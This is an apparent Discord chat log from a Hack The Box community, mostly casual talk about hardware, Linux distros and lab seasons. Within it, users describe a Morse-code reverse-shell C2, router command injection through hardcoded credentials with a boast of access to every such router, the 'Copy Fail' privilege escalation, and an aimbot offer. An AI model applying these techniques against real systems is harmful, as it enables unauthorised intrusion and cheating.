general

[glass ibex]

woah !!

[west venture]

Where?

[frosty thistle]

I have two SDRs talking to each over RF and the program they are running can talk in morse code ^^

[west venture]

Where are you writing arbitrary fles over Morse code

[west venture]

Oh

[frosty thistle]

You can abuse this to write files with morse code to locations of your choosing and drop a beacon file that communicates a revshell over morse code

[west venture]

That would take forever though

[frosty thistle]

No it is at 100 wps

[west venture]

Oh

[frosty thistle]

It takes about 0.5s

unless you ls a big folder

or cat a binary

[west venture]

100wps is workable though

[frosty thistle]

Yes ^^ and morse code people cannot reverse it because the files I drop the commands are preencrypted and only I know how to translate the words at my C2

also its at 100 wps and good morse code operators understand only at about 40 wps

If I can manage to overflow a part of the SDR I could do in memory execution but for now it is filefull

[west venture]

Yesterday I was working on a carrier router, and dumped it's firmware and analyzed it. Then I found a set of hardcoded credentials to log into a "super admin" panel. In there, there is a debug feature to allow you to run very limited commands, mostly catting out a log file. BUT that feature doesn't sanitize user input, meaning I could Inject commands from it.

The best part is, anything run there was run as root, meaning I could replace the root password hash and login as root.

[frosty thistle]

Waaaa good find ^^

[west venture]

The best part is these routers are extremely common here and I now have creds to the admin panel of every single one of them

[frosty thistle]

Lots of routers have weird backdoors ^^

[west venture]

Yeah lol

[ocean marsh]

skid

[frosty thistle]

https://klipy.com/gifs/rigby-cat-tongue

i am skid

[ocean marsh]

if you're skid

idk what I am

[frosty thistle]

jk jk

no i am not skid, i dont like when talented people say that

it makes beginners or intermediates really self doubting

☺️ You all are doing fine

[cloud osprey]

dont have doubts, just find loose threads and pull them yolo blaze it

[ocean marsh]

https://klipy.com/gifs/cat-feeder-camera-orange-cat--k01KQGKS57HKRKWC90WQSR7N01F

[fallow snow]

Ok so final verdict don’t drop a band on seeing if mac is for me

Or try it out cause free returns

[ocean marsh]

Am I beginner or intermediate

[frosty thistle]

Intermediate

I'd hire you as a pentester

[cloud osprey]

i use a mac instead of my linux machine because my old work place made us use a mac and i was there for 4 years, so i was forced to get used to it

but i do have it all set up to run like my linux machine

[ocean marsh]

https://klipy.com/gifs/cat-leaf-1--k01KQBQPJEQPXV259HD36BJMYF1

[fallow snow]

https://catalog.purdue.edu/preview_program.php?catoid=18&poid=33873&hl="Cybersecurity"&returnto=search

will a m5 mac air get me through these classes

Or do I have to bring my pc

[frosty thistle]

It's really hard imo to cross into senior status without work experience. Its just not the same no matter what you do to try to replicate enterprise envs.

Or I guess if you had some crazy bbs or CVEs I could consider someone being senior with no traditional pentesting or red teaming exp

[ocean marsh]

Yeah I can imagine that

theory only goes so far

not having real world xp and such

[frosty thistle]

Yeahhh and I dont mean real world is harder

I just mean how to interact with customers and handle things carefully

Real world is both harder and easier

[ocean marsh]

i wish i had a job

[cloud osprey]

a chromebook will get you through a professional career... you dont need anything except a way to access a VM you set up in the cloud to run w/e sec distro

[ocean marsh]

https://cdn.discordapp.com/attachments/1340538749343502457/1341133470415720458/attachment-2-1-1-1.gif

[west venture]

Paint thinner

[frosty thistle]

You will eventually vro no worries

[snow wraith]

[frosty thistle]

👀

[west venture]

https://tenor.com/view/jinx-jinx-arcane-arcane-jinx-jinx-lol-lol-jinx-gif-12130353156992122286

[frosty thistle]

Howdy

[cloud osprey]

i dont even have a j*b right now, dont feel bad

[fallow snow]

Oh it’s just I see people clowning on mac users, like is life a lot easier with a windows machine

Like a lenovo

[snow wraith]

Morn Morn, Its tough to handle a labrador pup :" (, wot bt u?

[ocean marsh]

its hard not to feel bad with all the pressure from your family

[snow wraith]

I use Linux baremetal on my Lenovo Legion

[cloud osprey]

use w/e is comfy for you, then figure out what you need on a case by case basis and learn stuff

[frosty thistle]

Ohhh Im sorry.. What happen?
Im good, soon to go to bed. Just relaxing :3
Doing some studying and sharing some crazy working idea I had about a morse code C2 over RF

[fallow snow]

Never touched mac before

[cloud osprey]

so then dont get a mac

ez

[fallow snow]

What if Mac is for me but I just never knew

order off Amazon and return if buns

[cloud osprey]

its literally just a unix system with some shiny bits

[snow wraith]

I just woke up :" )

[cloud osprey]

but if you do windows, you have a LOT easier time reversing

[frosty thistle]

O

[fallow snow]

Windows it is

[west venture]

Why? You can install Ida pro on Linux

Or ghidra

[cloud osprey]

you can, but you cant run the windows files easily

[west venture]

I crack games by reversing DRMs on Linux

[fallow snow]

Lenovo Slim 7 Copilot+ Aura Edition Intel Ultra 7 258V 32GB 1TB 14" OLED W11H

is 8 hours on this normal or eh cause I swear youtubers were saying this lasts longer than macs

[west venture]

Well yeah

[cloud osprey]

and last i checked, so so so many of the rev chals are not mac friendly

but again, the more struggle you face the more you learn

so just do stuff and see what happens

do a whole lot of fucking around, and then hopefully you get a little bit of find out in a good way

[twin lantern]

Hiiii I'm new here!

[alpine pumice]

hi he's paint

[west venture]

Hello new here

[rancid swallow]

[rancid swallow]

[twin lantern]

Lol hiii, and riri

[solemn edge]

does release arena still exist?

[sick gate]

Yes

[terse dirge]

snap is down https://status.snapcraft.io/

[scenic maple]

how did u know that do u use snap

[terse dirge]

for deploying my blog I do

[rancid snow]

gross

[terse dirge]

ikr, I should use npm for dart-sass

[solemn edge]

i don't see it on the right

does it only appear during newbox releases?

[terse dirge]

fixed now 😄

using npm for dart-sass instead of snap

[solemn edge]

Machines

US StartingPoint2

PingPong
Machines

[terse dirge]

starting point is for starting point machines not seasonal

oh you talking about RA

[solemn edge]

yes im wondering where the release arena vpn is

[terse dirge]

it's the pingpong one

[solemn edge]

ok

[solemn edge]

no but both of those are machines

there used to be a release arena vpn

[crude island]

Hi all

[solemn edge]

im probably not describing it well lol

[solemn edge]

this is a description of what hte vpn selection looks like, im looking for release arena so ican work it out with my schools it

[green kite]

https://help.hackthebox.com/en/articles/7041927-introduction-to-htb-seasons#:~:text=If you are,regular VPN servers.

It’s not showing because it’s after Wednesday

[cloud osprey]

so much for the weather being around 90f the past week or two

[silver forge]

that's a bit chilly

[cloud osprey]

classic GA weather

3rd winter

[silver forge]

what's the coldest it gets during the winter?

[cloud osprey]

lol

thinking the weather is ever the same as it has been previously

thats your first mistake

some years it might dip below 32, other years it will plummet below 0

for no reason

[snow wraith]

pants

https://tenor.com/view/thefit-firefit-fit-pants-spongebob-gif-26832978

[snow wraith]

Last year , here the highest was 47C :" (

[snow wraith]

India

[silver forge]

could be worse. I once had to spend a week in the forest at -40F

[cloud osprey]

ill take the cold over the heat any day

can always put more clothes on

[snow wraith]

i wanna experience how -72C feels

[silver forge]

cold isn't so bad if you have correct equipment

[cloud osprey]

i keep my house at a crisp 68F

[west venture]

You have low blood sugar

[cloud osprey]

cant be true

i just had 3 redbulls

[west venture]

Oh

[cloud osprey]

more like i have low blood in my sugar

[west venture]

Well the test results say otherwise

[silver forge]

3 red bulls is about the daily maximum

[cloud osprey]

the test results dont say anything, because as long as i dont go to the doctor they cant diagnose me with anything and ill always be healthy

[cloud osprey]

https://klipy.com/gifs/rookie-numbers-1--k01KQGZAF64ZZYGFDT6DCZJ6QZ1

same way i never got covid

i did get pretty sick once, but didnt get tested so i didnt have it

[west venture]

But I can

You do know I have nanobots in your blood stream right?

[silver forge]

I hereby diagnose paint with too big pp

[snow wraith]

i hv a ques

Is my i9-14900HX severely bottlenecked by my RTX 4060?

[cloud osprey]

imagine thinking nanobots would stand a chance in my toxic insides

[silver forge]

4060 is the bottleneck

[snow wraith]

:' O

[silver forge]

bruh 4060 is the bottle neck... 60 isn't much, and 40 is old architecture

[west venture]

This was purely meant as a flex nothing else you could've easily googled it

[meager kernel]

yes

[snow wraith]

I actually customized my laptop 5-6 months ago, n i just asked if i bottlenecked the cpu

[silver forge]

I got 5070, and I have been only able to max it using either hashcat or training neural networks. it doesn't even spin the fans at maximum when gaming.

[snow wraith]

4060 ain't a flex 😭

[west venture]

I have a 5060 or whatever too idrk but I never train NNs on that. Why do it when you can get an A100 for free on colab

[silver forge]

60 is always the entry level model. the chips are the same as in 70 and 80 etc, but they didn't pass quality checks so they disable stuff from them and underclock

[cloud osprey]

imagine having to use a graphics card and not just doing all the calculations in your head

[silver forge]

colab has too severe limitations for free tier

[west venture]

I have an A100 gpu

[west venture]

I pay for it

Lol

Don't need to wear out my laptop

[silver forge]

I had 3070 and Warframe started having tiny lags, so I upgraded to 5070 and lags gone

[west venture]

Also no need to download heavy ass machine learning frameworks like pytorch and tensor flow locally.

[cloud osprey]

pytorch in 2026?

[west venture]

It's GOOD

[silver forge]

There are many functional and sufficient frameworks. You use whatever floats your boat.

[west venture]

What do you use?

[cloud osprey]

use something with as many dependencies as you can, that way you can be sure to be included any time somebody gets a dependency injection

[silver forge]

I used tensorflow, but installing dependencies downloading 2 gigabytes of trash is slightly annoying

[west venture]

Also recently I've been working on an aimbot using a CNN and I used YOLO, and yolo is made with pytorch

So

[cloud osprey]

i dont even use a mouse

[west venture]

Exactly

I can just download the stuff on colab

[west venture]

Do u want my computer vision based aimbot

[cloud osprey]

i dont need an aimbot

[west venture]

WHY

[cloud osprey]

because i dont like to aim

[west venture]

Oh

That's why you should get a bot to it for you

[cloud osprey]

no, i dont like it when i aim

[rancid swallow]

[silver forge]

I'd like to test some model with SSM, but I'm also lazy

I have not hit the context window limits, but with transformers it seems the attention is always strongest at the beginning and end of the data. it tends to lose stuff at the middle with longer inputs. I'm interesting how SSMs perform, but many frameworks don't have proper support for it yet.

[west venture]

I got shickened in the middle of the night

[meager kernel]

y

[supple plume]

Bro got chickened

[rancid swallow]

[supple plume]

Time to complain

[ornate oracle]

hahahha

karens get in line please

[west venture]

shickend

[supple plume]

This is what I do with chicken

[west venture]

Who Said anything about chicken?

Shicken (verb): To act boldly and a little ridiculously in a moment of fun, usually involving an unexpected twist or surprise.
Example: “He shickened his way through the party, juggling cupcakes while riding a unicycle.”
Shicken (noun, informal): A burst of whimsical energy or a quirky idea.

[supple plume]

Aright ...

Ok well why you got chikened yesterday?

[pseudo hound]

Guys, I feel lonely 😢

[west venture]

Because

[supple plume]

You have potential to be a discord mod

[pseudo hound]

Woaw

[west venture]

🫵--> 🚪👍

[ornate oracle]

true true

[raven rain]

cannot confirm

[supple plume]

Confirm what

[devout sail]

I do

[raven rain]

thanks

[devout sail]

https://tenor.com/view/this-is-not-motherlode-mine-its-just-some-gold-ore-this-is-not-motherlode-mine-its-just-some-top-side-steak-leolichen-grinding-steak-gif-16606715742648778046

I somehow woke up early today 😞

[west venture]

The new Linux priv esc bug was discovered by AI in 1 hour

[signal mica]

10X

[supple plume]

This is my goofy ass survey

I am the customer nonetheless

I could say way more but we need custom web boxes

That's the most important

[raven rain]

well

[raven rain]

next season box will feature copyfail

[supple plume]

I will feature copyfail in my ass

[raven rain]

ok

[supple plume]

-# ok

[supple plume]

I hope not

Goofy ass cve (I mean it's brilliant but not fun in a box)

[raven rain]

it's realistic!

every box before now has the vuln!

[woven lotus]

Hey guys
I am new here

[supple plume]

Hi new here

[ornate oracle]

Hello and welcome

[cloud osprey]

hi im paint

[west venture]

What? No more CVEs and just misconfigurations? Sounds unrealistic

[supple plume]

Custom web boxes I want Custom web boxes

That sounds unrealistic? Maybe you don't exist

[thick yew]

Hey, I’m setting up my ThinkPad for cybersecurity/hacking labs.
Would you recommend running a Linux host (e.g. Arch Linux) with a Windows 11 VM, or a Windows 11 host with a Linux VM like Parrot OS?
I’m mainly interested in security, performance, and real-world workflow.

[glass ibex]

go for either parrot(vm) or kali (vm)

[thick yew]

Which one would you personally choose for daily use and why?

[rancid swallow]

[rancid swallow]

both are not for daily "normal" use tbh

[crimson elbow]

not something suited for daily driving

[glass ibex]

i meant for vm

not as a host

[rancid swallow]

oh ok

[fervent night]

hey is there anyone who does OSINT and forensics can help me out please?

[rancid swallow]

then upto u both comes up with pre-built sec tools of different sorts , rest u can manually install

[thick yew]

What would you recommend as a daily OS for cybersecurity and HTB labs?

[fervent night]

parrot or kali

[rancid swallow]

HTB uses parrot so i guess if u want similar vibe then go with it

[glass ibex]

for cybersec always use a VM (good practice)

[crimson elbow]

Parrot seems a viable option since it's not really a rolling distribution, also less bloat and greater battery performance

[thick yew]

As a main OS for everyday use (browsing, coding, etc.) + HTB labs:
would you recommend Linux or Windows as host, and then Parrot/Kali in a VM?

[glass ibex]

yup

[glass ibex]

choose whatever feels user-friendly for you

[high cobalt]

Yes pls

[thick yew]

@glass ibex I’m stuck between:

Windows 11 + Parrot VM
Arch Linux + Windows VM

[glass ibex]

Windows 11 + Parrot VM
my preference if i was you

[rancid swallow]

[thick yew]

May I ask why?

[tough oyster]

Give why vulnlab boxes will always wins

[glass ibex]

idk i've been used windows since a kid

and for cybersec it's better to use kali vm or parrot vm

i won't go for commando vm

but nothing stops you from exploring

[high cobalt]

Doesn't really matter

It's just the same tool in the toolbox just with a different handle ...

[glass ibex]

https://tenor.com/view/cat-leaf-vibes-vibing-sleeping-cat-gif-17297041570420202318

[thick yew]

Thanks, this was really helpful. Appreciate it!

[obtuse quail]

Hello! Any suggestions of cool cyber related usernames to add on my Linux machine ?

[glass ibex]

https://tenor.com/view/google-gif-google-gif-for-messages-google-gif-gif-1045234766527568383

[obtuse quail]

I did but I did not find one that I liked

[glass ibex]

https://tenor.com/view/chat-gpt-gif-14690479017210555424

[high cobalt]

Try Kali or Parrot, if you like it, stick to it. If a tool is missing you can just install it on top

[rancid swallow]

then think n make one

[obtuse quail]

Same for that

[obtuse quail]

Suggest me one

[glass ibex]

https://tenor.com/view/claude-gif-14855546217526408320

[rancid swallow]

I'm bad at naming...others shall help then xD

[glass ibex]

what about karmanya04

[obtuse quail]

Hm nope

[glass ibex]

what about golam71

[west venture]

Kali VM

[high cobalt]

Also team Kali bc it just works for me and has a nice collection of tools

[rancid swallow]

[toxic rock]

my love

[glass ibex]

https://tenor.com/view/devil-may-cry-devil-may-cry-netflix-devil-may-cry-s2-dmc-season-2-gif-7524815281730753753

[glass ibex]

isn't it so good ?

[rancid swallow]

[glass ibex]

https://tenor.com/view/happy-cat-gif-10804346947536782797

[rancid swallow]

[ornate oracle]

shakira shakira dabaababab du da deee eeeeeeeeee sakira sakira

[scenic maple]

https://github.com/Swordfish90/cool-retro-term

[gilded fern]

golam71 the destroyer

[final prawn]

Hi

[glass ibex]

this will help @scenic maple

[scenic maple]

0xqn the destroyer

[marble hearth]

stop

[supple plume]

@scenic maple

Refresh your browser?

Wtf

<@&861185840277487616>

[slate elm]

what I want to say is the page

[balmy vortex]

no

touch some grass it is sunny outside

thanks very much

[tough oyster]

Now either echo is fucked or what the message was is sus

[glass ibex]

i guess you gonna get banned

[tough oyster]

Oof

[supple plume]

Idk are you willing to click on a suspicious link and refresh your browser?

For free money bro

[tough oyster]

Cheers @supple plume here is some hearts 🤍🤍🤍🤍

[supple plume]

Thank you

[sturdy thistle]

Heyho

[tough oyster]

Ohyeh

[west venture]

Please 😭

[tough oyster]

See what i did there

xD

[summer urchin]

Rem, u still in SK?

[tough oyster]

We just came back from japan yesterday

[summer urchin]

ahhhhh
noice

[west venture]

PLEASE

[west venture]

https://tenor.com/view/miss-congeniality-rem-rem-cycle-miss-congeniality-gif-10105498352636147019

[latent oak]

Oh, I saw SK and thought Saskatchewan

[raven rain]

rem's back, i'm still in japan

[cloud osprey]

youre in the... FUTURE

[raven rain]

yes

as i am in the future i can tell you what happens

[latent oak]

Don’t spoil it

[raven rain]

the sun will go down soon

[cloud osprey]

how

[latent oak]

Nooooo

[cloud osprey]

its 5am, it cant go down

[raven rain]

you'd be surprised

[latent oak]

It’s 6:51 am… it just came up a while ago

[cloud osprey]

how is it 6:51, are you in the atlantic?

[latent oak]

Yes

Atlantic timezone

East of Maine there is a part of Canada

[cloud osprey]

https://klipy.com/gifs/hello-i-am-underwater-1--k01KQHFA0W66ZQE8PF9J63EHMEV

[latent oak]

We aren’t even the farthest east in North America… It’s 7:25 am now in Newfoundland

[cloud osprey]

i mean alaska is the furthest east

[latent oak]

Uh

[cloud osprey]

it crosses the meridian

[latent oak]

lol, you got me

[cloud osprey]

its a super common trivia question lol, i see it so often

[latent oak]

I am everywhere and no where

[cloud osprey]

but it tricks a lot of people

[latent oak]

I didn’t know it crossed the meridian

Today I learned something

And it’s still early

I can go back to bed

Anyway, everyone in America forgets (or has never known) that Canada is bigger and has more time zones

[cloud osprey]

it has more?

[latent oak]

6

[cloud osprey]

timezone maps are so dumb

[latent oak]

Heh. It is the same time everywhere in China

So I guess they agree with you

[cloud osprey]

what is the 6th?

does the greenland timezone clip it?

or alaska

[latent oak]

Newfoundland island is out by .5 hrs

They are one of the rare .5 offset timezones

So I’m UTC -3 and they are -2.5

Or -4 and -3.5 depending on time of year

[cloud osprey]

well when we get greenland we will have a few more timezones

its all a waiting game

[latent oak]

Lol

Y’all are too busy in Iran

Greenland can sleep easy for now

[cloud osprey]

im not

unemployed like god intended

[latent oak]

Well, if you are the invasionary force, they will be ok

[cloud osprey]

i get to spread misinformation all day

https://klipy.com/gifs/misinformation-spreading--k01KQHG3HSSY86HKE33609P2FCT

[latent oak]

Just paint, on a beach with some nunchucks

[cloud osprey]

id get too distracted playing in any snow i saw

[latent oak]

“SURRENDER PEACEFULLY!”

[terse dirge]

https://klipy.com/gifs/mcr-my-chemical-romance-4--k01KQHFYHTJ5HJ6E7QNV5814AWW

[cloud osprey]

we dont get snow here very often

[latent oak]

I’ve had plenty… not as much as Greenland I’m sure

[rancid swallow]

[latent oak]

https://tenor.com/view/nunchuck-badass-ninja-nunchuck-badass-nunchucks-gif-14952277554426232145

[worthy cargo]

out="mp3.list.txt"; > "$out"; base="https://ektoplazm.com/style/goa"; total=40; total_hits=0; for i in $(seq 1 $total); do url="$base"; [ "$i" -gt 1 ] && url="$base/page/$i"; html=$(curl -fsL "$url") || { echo "[!] failed page $i"; continue; }; hits=$(echo "$html" | grep -oiP 'href="\K[^"]+mp3\.zip' | tee -a "$out" | wc -l); total_hits=$((total_hits+hits)); printf "[+] %02d/%d → %d links (total: %d)\n" "$i" "$total" "$hits" "$total_hits"; done; sort -u "$out" -o "$out"; echo "[+] unique links: $(wc -l < "$out")"

Hacking stuff

Capped at 250kb/s max download speed

Everything is under Creative Commons.

I already had a 100 albums from Ektoplazm. Removing duplicates, and we're left with 96 albums to fetch

At this rate it will take 14 hours to complete the run

[ornate ibex]

https://giphy.com/gifs/happy-gilmore-DqrccgvGSmre

[ornate ibex]

BRUH

[ornate ibex]

@scenic maple have u seen tis

[scenic maple]

yes

[ornate ibex]

damn

[cloud osprey]

hold on ill get you something newer

[ornate ibex]

lacks impact compared to the first one.

[slim topaz]

when's HTB relesing new promo ?

i want to get the yearly labs

[rancid swallow]

@worthy cargo Made something cool, would love you thoughts on it...whenever you are online/free

Instant interactable graph via Bloodhound JSONs or yoinked thru Overthrone tool's loot (Its a AD PT framework I have been working on for last 6 months) compatible JSONs, Directly in your terminal, No Neo4j BS required , completely on

-# finally some stuff worked so ignore my excitement pls, arigatou.

Its still a WIP project tho until i test the whole killchain on GOADs for a proper PoC

[jagged storm]

As much as I love TUI, I'm not sure replicating the gui bloodhound view was the best idea here lol

[rancid swallow]

[jagged storm]

Definitely looks cool, but that's gotta look like a nightmare with large domains

[rancid swallow]

filters and zoom clearance is there , looks neater as u go deeper

[jagged storm]

Yeah, I imagine it would be better on the smaller scale, but reorganizing the graphs into more of a tree might suit TUI better

[rancid swallow]

ah well thats a great idea , will defo apply that

thx

[jagged storm]

I like the project, though!

[rancid swallow]

Thanks!

[jagged storm]

Though, it wouldn't be as good to show in a report. I'd probably still want to use bloodhound for showing associations for what goes in there.

[rancid swallow]

Well its a huge project ...and not just this feature, but yeah , the more feedback from experts from here, the better results later

[quiet mica]

So if someone knows about computers, let us say general, because I have been into computers since 2014 but I have not dive deep and specialize into any course, which course will you guys recommend for a beginner in security like to me to do, which HTB course and I have interest in Computer Science, that is be it CyberSecurity or Networking I love them. Also I have been using Kali Linux since 2021 because I love it but also I have used all those OS be it MacOS and Windows a little bit. What is the recommendation you guys can give, which course should I start from. Lemme get advice from the experienced and I will be happy to know

[rancid swallow]

yeah , gotta brainstorm the things i can improvise ofc

[fierce vale]

Would be cool to map writable attributes not just writable objects.. right?

[west lynx]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[jagged storm]

It depends on what you want to do.

[crimson crypt]

Doesn’t it already exist? I think it was presented at DEFCON 32

[rancid swallow]

oh whats its called , sorry i havent got a chance to go to DEFCONs yet

[quiet mica]

Thanks buddy

[lime trout]

they publish all the talks on youtube ^^

[quiet mica]

Cyber Security

[rancid swallow]

noted, sir...thx

[warped plank]

https://tenor.com/view/do-you-have-any-idea-how-little-that-narrows-it-down-that-narrows-it-down-clear-now-its-clear-now-i-understand-now-gif-21256627

[lime trout]

and within that there is a million difference paths, at a high level does defensive(blue) or offensive(red) interest you more?

[crimson crypt]

I don’t remember the name, but it’s on GitHub, just need to do a quick search on YouTube

[rancid swallow]

aight

[rancid swallow]

okays

[fierce vale]

Bloodhound needs some competition for sure

[warped plank]

I'd start with cjca or at least learning the topics presented in that path (if you can't purchase the path, but highly recommend you do) then choose a path from there. Whether you wanna go defensive, offensive, wanna focus on web, enterprise domains, wi-fi, ICS, binexp, malware analysis, etc.

[bronze lion]

I'm stealing this

[rancid swallow]

yos lol

[bronze lion]

Thnks

[bronze lion]

This too

[quiet mica]

offensive

[lime trout]

i'd start down CJCA and or CPTS path, then

[upbeat tangle]

EZ KATKA

[quiet mica]

Thanks a lot buddy

[warped plank]

Just know that offensive security isn't an entry level position.

[quiet mica]

This CJCA is what I will start with

[quiet mica]

I know it will take me years to reach there is pentesting an offensive security

[warped plank]

Yes

[upbeat tangle]

Is there like a break after the season ends until next active box is released?

[sick gate]

are you using kali as your daily driver?

[gilded fern]

Emmax0 the destroyer

[rancid swallow]

presentation list doesnt say anything similar to BH on Defcon 32 are u sure it was 32

[lime trout]

Break yes, but only for seasonal, active boxes are still released

[quiet mica]

Wait for me soon

[lime trout]

huh

[gilded fern]

golam71 the destroyer

[upbeat tangle]

i had too much fun this season, i wanna play every weekend lol

[quiet mica]

Yeah, but it's because I hate Windows completely

[supple plume]

This session was ass

[warped plank]

Boxes will still be released every week, possibly more with VulnLabs and Released as Retired

[gilded fern]

0xW1LD uses arch btw

[warped plank]

I do not, also please stop with the markdown title spam.

[supple plume]

I only do web boxes and I got cve after cve after cve

Easy-medium

[gilded fern]

Spam?

[upbeat tangle]

LOL

[supple plume]

Nice

[gilded fern]

3 messages are spam?

[supple plume]

CVE

[quiet mica]

How do people survive with Arch

[gilded fern]

0xW1LD you are wilding

[warped plank]

Well with the size of your messages: yes.

[supple plume]

I'm trying to give a taste of what the season felt like

[upbeat tangle]

It was a good season for us bindows enjoyers

[supple plume]

You get used to it

[gilded fern]

do you really think you are the main character champion of justice

[warped plank]

It's not too bad really

[rancid swallow]

Anyways...but \ i cant seem to find anything apart from Six Degree to DA and Defcon 28's OU having a laugh? and BHCE

[supple plume]

I use arch by the CVE

[upbeat tangle]

Imagine using arch, noobs

[warped plank]

No it's just distracting to be reading something and have it be pushed away by a massive message, might just be me

[gilded fern]

0xW1LD: No it's just distracting to be reading something and have it be pushed away by a massive message, might just be me

[quiet mica]

I installed it once and after a day I reinstalled Kali Linux I can't live in complete rolling releases

[upbeat tangle]

So got rid of linux to install linux ok!

[warped plank]

You do know you don't have to get every update...

[supple plume]

I have scripts to turn arch into my setup just one command and I am back to my custom rig

[sick gate]

guy is using kali as his daily driver

need to start from the top here

[quiet mica]

I meant Kali Linux

[warped plank]

Please don't use kali linux as a daily driver

[quiet mica]

My brains almost burst

[quiet mica]

What do you mean by daily driver

[supple plume]

I've done that once and I'm doing good

[jagged storm]

https://tenor.com/view/dented-pepe-dentge-meme-hit-gif-15873918808390144538

[supple plume]

Means like barking dog 🐕

[sick gate]

primary os you use for most of your tasks and as a launchpad into other environments

[warped plank]

Installed on bare metal too

[supple plume]

I install it on bare wood

More organic

[warped plank]

https://tenor.com/view/fig-gif-26092737

[supple plume]

On the wiener runs the meter peter better

[quiet mica]

Nope, I dual booted with Windows because I can't run some programs in Kali

[supple plume]

Im getting banned gng 🥀

[warped plank]

If I were you I'd move kali to a VM rather than having it dual booted.

[sick gate]

that would be ideal yeah

[supple plume]

Dual boot gives a lot of problems

[quiet mica]

But for most programs I love it because it is lightweight, Windows when it boots only, more than 10GB of RAM is used

[warped plank]

Or use a VPS, take it away from your hardware altogether

[sick gate]

alright mate you know best good luck!!

[quiet mica]

So David Bombal lied to me

[warped plank]

So use literally any other popular linux distro... Ubuntu, Mint, Fedora, Manjaro, PopOs

[supple plume]

Arse linux

[lavish sage]

bro left out arch

[warped plank]

He said he already tried arch

[sick gate]

im fairly sure david bombal installs kali on a vm in his kali course

[lavish sage]

did he try blackarch :clueless:

[ornate oracle]

A small win but I managed to convert my old router to an ap with static ip

[warped plank]

He does bare metal for: Kali Nethunter

[quiet mica]

Ubuntu looks like an empty OS it bored me, using apt-get and a lot of things, it has fewer apps, but I will install it on my PC in future i only loved their snap store

[warped plank]

Bro complains about Windows bloat, but is looking for bloat

[rancid swallow]

[quiet mica]

What does bare metal mean

[warped plank]

You are aware Linux is the most customizable OS out there so you can literally make it look and have anything you want, barring some Windows only apps

[supple plume]

@west venture get chickened

[west venture]

Guys your Linux kernels are vulnerable to privilege escalation

[west venture]

*shicken

[jolly snow]

any of yall took a look and understood the copy fail cve ? got a small doubt on it

[supple plume]

I know I like it that way

[warped plank]

On hardware, no VM or container

[sick gate]

direct onto hardware

[west venture]

I think so

[supple plume]

I took a look but idk what it does at low level exactly

[west venture]

Something something inject code to the su binary in ram something something and when you run su again, the system runs the su binary as root and runs your code with it as root also

[quiet mica]

Okay now I am understanding it, but Ubuntu is good for real

[quiet mica]

Finally, I am learning some things

[warped plank]

If you're on Discord to learn... you're gonna be really disappointed

[quiet mica]

Noooh, for networking and connecting with some people, if it is not discord I will end up with an LLM

[west venture]

Some crypto API library or whatever is vulnerable bc it takes a destination to write to from the user but doesn't really check if the user has permissions for that destinations. When Linux loads the su binary to the Paige cache, I guess you give the memory address of the loaded binary in memory as the location to write to. So they way, you can inject malicious code to the su binary that's cached. When you run su again, the OS just uses the cached, poisoned version, and executes your code. (I think)

[jolly snow]

so the only part thats wierd to me is that on the second entry in the RX buffer, i dont get when walker OOB's out and then when dereferences the pointer, how does that pointer point at the exact offset cause to me i still dont know why it wouldnt start at the byte 0 of the binary, i did a biyt of digging and found out that while giving the splice syscall we also give the offset within page parameter but im not sure how would that work if we dont even supply the page ourself or does the kernel internally map it out ?

[supple plume]

Some crypto API library or whatever is vulnerable bc it takes a destination to write to from the user but doesn't really check if the user has permissions for that destinations. When Linux loads the su binary to the Paige cache, I guess you give the memory address of the loaded binary in memory as the location to write to. So they way, you can inject malicious code to the su binary that's cached. When you run su again, the OS just uses the cached, poisoned version, and executes your code. (I think)

[west venture]

Stfu

[quiet mica]

What are you guys on discord or what is the work of it, apart from talking with community

[west venture]

It's internally mapped out

[jolly snow]

but if i give a page offset then how would it know what page's offset is it

[warped plank]

I mean I just go here to chill and give back to the community

[supple plume]

These hackers are discord teamers

[warped plank]

Sometimes troll

[sick gate]

and im taking away from the community again

[jolly snow]

anyone else ?

[quiet mica]

Wooow, it's amazing guys

[supple plume]

I know I am trying to become a discord teamer this is my power level

!rank

[west venture]

But you aren't giving a page offset to os.splice right? You're giving a file offset?

[jolly snow]

no its a page offset

[warped plank]

Bro's catching up to me, I gotta yap more

[quiet mica]

I'm new to this stuffs which you guys are talking about. I am not aware what you mean by discord teamer, is it for the Discord Org or for this HTB Community

[quiet mica]

How does someone achieve this bro

[supple plume]

It's an international company based on verbal interaction exploits via http

[quiet mica]

so someone achieves through yapping more

[supple plume]

He's talking in code

[quiet mica]

You made me to be more dumb with that explanation

[quiet mica]

Okay, I am starting to get it now

[supple plume]

@scenic maple teach the secrets to become a discord teamer

[quiet mica]

[polar grotto]

hello i need help with the new Xp system i'm a bit confused on how to track my progress towards elite hacker if thats even still a thing !

[quaint sun]

Labs ranks are still a thing, but you can't see content % on your profile anymore

[polar grotto]

so you just keep going until you get that rank up notification or what ? Haha

[quaint sun]

It seems so

[polar grotto]

jeez ! alright thank you

[exotic pendant]

😄

[frigid mountain]

🙂

[exotic pendant]

It's Friday

[ornate oracle]

Hell yeah finally B|

[exotic pendant]

Just ate my daily ice cream

feels goood

https://tenor.com/view/ogvhs-woo-wooo-woooo-wooooo-gif-22674107

[ornate oracle]

zee good stuff jaa

[exotic pendant]

I eat a pint for breakfast daily

Might make 2 pints for tomorrow

[frigid mountain]

bulking?

is it real ice cream?

Or like protein ice cream?

[ornate oracle]

protein ice cream bro is gordon ramsy

[exotic pendant]

protein ice cream

I make it

[frigid mountain]

nice

[exotic pendant]

I gave it to someone and they couldnt tell

[frigid mountain]

recipe?

[exotic pendant]

Just 2 scoops of protein, almond milk and monk fruit

freeze and then put into a Ninja creami

The type of protein matters tho

[frigid mountain]

mmm

[stone marsh]

Frosty, you got any good breakfast/lunch recipes that uses yoghurt?

[exotic pendant]

This protein works good

lmao

this one also does well

[stone marsh]

Told my PT that I am trying to build up more size and eating meals during the day/morning is a tad tough at the minute

[ornate oracle]

XD

I had some different toughts there for a seccond

the hidden op powder xD

[exotic pendant]

atm I eat this

Meal 5 is the ice cream

The Ninja creami is what I make ice cream with

[stone marsh]

I have heard great things about that machine

[toxic rock]

didint know hackers have diet

[exotic pendant]

I thought it was eh at first since its just a blender

but it works way better than i wouldve imaggined

[stone marsh]

Frosty is the most jacked hacker you will probably meet

[exotic pendant]

I use to compete in bodybuilding

😄

[toxic rock]

damn hahaha

[frigid mountain]

https://tenor.com/view/anchorman-gun-show-tickets-to-the-gun-show-gif-20673907

[toxic rock]

ow nice bro keep it up

[ornate oracle]

deutschland uber alles I guess

[terse dirge]

